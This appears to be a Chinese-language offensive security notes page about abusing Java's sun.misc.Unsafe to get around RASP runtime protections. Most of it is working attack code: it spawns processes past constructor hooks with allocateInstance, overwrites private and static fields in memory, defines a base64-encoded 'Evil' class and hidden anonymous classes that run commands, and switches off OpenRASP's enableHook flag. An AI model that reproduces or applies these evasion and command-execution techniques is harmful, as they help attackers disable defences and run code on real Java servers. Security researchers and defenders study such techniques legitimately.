sun.misc.Unsafe
sun.misc.Unsafe
提供了一些底层操作,如内存、CAS、类、对象
Unsafe
是Java内部API,不允许外部调用
Copy /*
A collection of methods for performing low-level, unsafe operations. Although the class and all methods are public, use of this class is limited because only trusted code can obtain instances of it.
*/
public final class Unsafe {
private Unsafe() {}
private static final Unsafe theUnsafe = new Unsafe();
@CallerSensitive
public static Unsafe getUnsafe() {
Class<?> caller = Reflection.getCallerClass();
if (!VM.isSystemDomainLoader(caller.getClassLoader()))
throw new SecurityException("Unsafe");
return theUnsafe;
}
}
Unsafe
采用了单例模式,其getUnsafe()
方法会先判断调用者(Reflection.getCallerClass();
)的类加载器classLoader
是否为Bootstrap Classloader
可以使用反射来获取Unsafe
对象
Copy Class clazz = Class.forName("sun.misc.Unsafe");
Field getUnsafe = clazz.getDeclaredField("theUnsafe");
getUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) getUnsafe.get(null);
allocateInstance
若RASP限制了某些类的构造方法(比如TrAXFilter
(加载字节码)、ProcessImpl
(Windows命令执行)、UnixProcess
(Linux命令执行))
可以用Unsafe
的allocateInstance
方法绕过这个限制
Google的GSON
库在JSON反序列化的时候就使用这个方式来创建类实例
绕过命令执行限制
Windows版本:
Copy Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field field = clazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Class<?> processImpl = Class.forName("java.lang.ProcessImpl");
Process process = (Process) unsafe.allocateInstance(processImpl);
Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
long[] stdHandles = new long[]{-1L, -1L, -1L};
create.invoke(process, "whoami", null, null, stdHandles, false);
JavaIOFileDescriptorAccess fdAccess
= sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();
FileDescriptor stdout_fd = new FileDescriptor();
fdAccess.setHandle(stdout_fd, stdHandles[1]);
InputStream inputStream = new BufferedInputStream(
new FileInputStream(stdout_fd));
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
Linux版本:
Copy String cmd = "whoami";
int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);
注意这个方法并不会执行任何构造方法
有时候使用反射去创建实例时,会遇到各种复杂的类依赖关系,此时也可以考虑用这个去实例化对象
内存层面修改值
Copy package org.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class UnsafeTest {
private int offset = 1;
private String cmd = "whoami";
static public String SECRET = "666";
public UnsafeTest() {
}
public int getOffset() {
return offset;
}
public String getCmd() {
try {
BufferedReader reader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
StringBuilder builder = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
builder.append(line);
builder.append(System.getProperty("line.separator"));
}
return builder.toString();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
在JVM中,对实例的Field进行了有规律的存储,通过一个偏移量可以从内存中找到相应的Field值
Unsafe
提供两个方法来获取Field的偏移量
staticFieldOffset(Field var1)
和objectFieldOffset(Field var1)
获取偏移量后可以调用putObject
、putInt
等方法来修改对象的成员值
Copy Class clazz = Class.forName("sun.misc.Unsafe");
Field getUnsafe = clazz.getDeclaredField("theUnsafe");
getUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) getUnsafe.get(null);
UnsafeTest unsafeTest = new UnsafeTest();
System.out.println(unsafeTest.getCmd());
Class test = Class.forName("org.demo.UnsafeTest");
Field cmd = test.getDeclaredField("cmd");
unsafe.putObject(unsafeTest, unsafe.objectFieldOffset(cmd), "calc");
System.out.println(unsafeTest.getCmd());
Field secret = test.getDeclaredField("SECRET");
unsafe.putObject(unsafeTest.getClass(), unsafe.staticFieldOffset(secret), "hacked");
System.out.println(unsafeTest.SECRET);
当Field
的set
方法被限制时,可以考虑这种方法绕过
但对final
修饰的字段貌似改不了
defineClass
Unsafe
提供了一个defineClass
方法,传入类名、类字节码可以在JVM中注册一个类
Copy import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.security.CodeSource;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.Base64;
public class test {
public static void main(String[] args) throws Exception {
// byte[] code = ClassPool.getDefault().getCtClass("Evil").toBytecode();
// System.out.println(Base64.getEncoder().encodeToString(code));
String CLASS_BYTE_Base64 = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMRXZpbDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwACgALBwAiDAAjACQBAARjYWxjDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEABEV2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAYACQAJAAwABwANAAgAFgAKAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=";
Class clazz = Class.forName("sun.misc.Unsafe");
Field getUnsafe = clazz.getDeclaredField("theUnsafe");
getUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) getUnsafe.get(null);
// 获取系统的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
// 创建默认的保护域
ProtectionDomain domain = new ProtectionDomain(
new CodeSource(null, (Certificate[]) null), null, classLoader, null
);
byte[] b = Base64.getDecoder().decode(CLASS_BYTE_Base64);
unsafe.defineClass("Evil", b, 0, b.length, classLoader, domain);
Class.forName("Evil");
}
}
注意Unsafe#defineClass
只能在JVM中define
一个类,不会加载这个类,所以最后通过Class.forName
来触发其静态代码块
defineAnonymousClass
defineAnonymousClass
可以创建一个内部类
这个类的名字设置时甚至可以是已存在的类名,由于java动态编译特性会在内存中生成新的类名
无法通过Class.forName获取这个类的(do not make it known to the class loader
)
这个类的classloader为null
Copy import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;
import java.io.File;
import java.lang.reflect.Field;
public class test {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("sun.misc.Unsafe");
Field getUnsafe = clazz.getDeclaredField("theUnsafe");
getUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) getUnsafe.get(null);
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("java.lang.String");
CtMethod toString = CtMethod.make("public String toString(){java.lang.Runtime.getRuntime().exec(\"calc\");return null;}", ctClass);
toString.setName("toString");
ctClass.addMethod(toString);
byte[] bytes = ctClass.toBytecode();
Class anonymous = unsafe.defineAnonymousClass(File.class, bytes, null);
System.out.println(anonymous.getName());
anonymous.newInstance().toString();
}
}
打印出类名为java.lang.String/1645995473
,并弹出计算器
Java 11 把Unsafe
的defineClass
方法移除了,但defineAnonymousClass
还在
Close RASP
一旦攻击者拿到了一个代码执行权限,那么他便可以通过反射的方式取得RASP运行在内存中的开关变量(多为boolean或者AtomicBoolean类型),并把它由true修改为false,就可以使RASP得的防护完全失效。开关变量只是其中一个思路,当然有更多的方法去破坏RASP的运行模式,如置空检测逻辑代码(如果RASP使用了js、lua等别的引擎),置空黑名单、添加白名单
Copy Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));
Summary
自定义类
defineAnonymousClass
生成的类无法通过反射获取其内部信息,且类加载器为Bootstrap ClassLoader
,会被认为jdk自带的类
Reference
Last updated 4 months ago